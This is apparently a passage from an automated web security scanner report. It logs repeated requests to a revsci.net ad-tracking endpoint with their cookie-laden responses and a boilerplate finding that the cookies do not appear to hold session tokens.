HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LC1yGSiOI1VkRpa9w=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:34 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e647a&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:34 GMT; Path=/ X-Proc-ms: 9 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:33 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/310338891.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw69OD9mCyCCM1VkT2a+s=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:20 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b0&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:20 GMT; Path=/ X-Proc-ms: 2 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:20 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/364341298.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzk/elPMXV+ser9duzVms/PpMe; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:47 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e6487&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:47 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:46 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/36740428.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzk3ekPYaX+Mer9duzVms/fpMT; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:05 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e6499&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:05 GMT; Path=/ X-Proc-ms: 122 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:04 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/374759838.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw69ODFkETCCM1VkTna+U=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:19 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98af&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:19 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:19 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
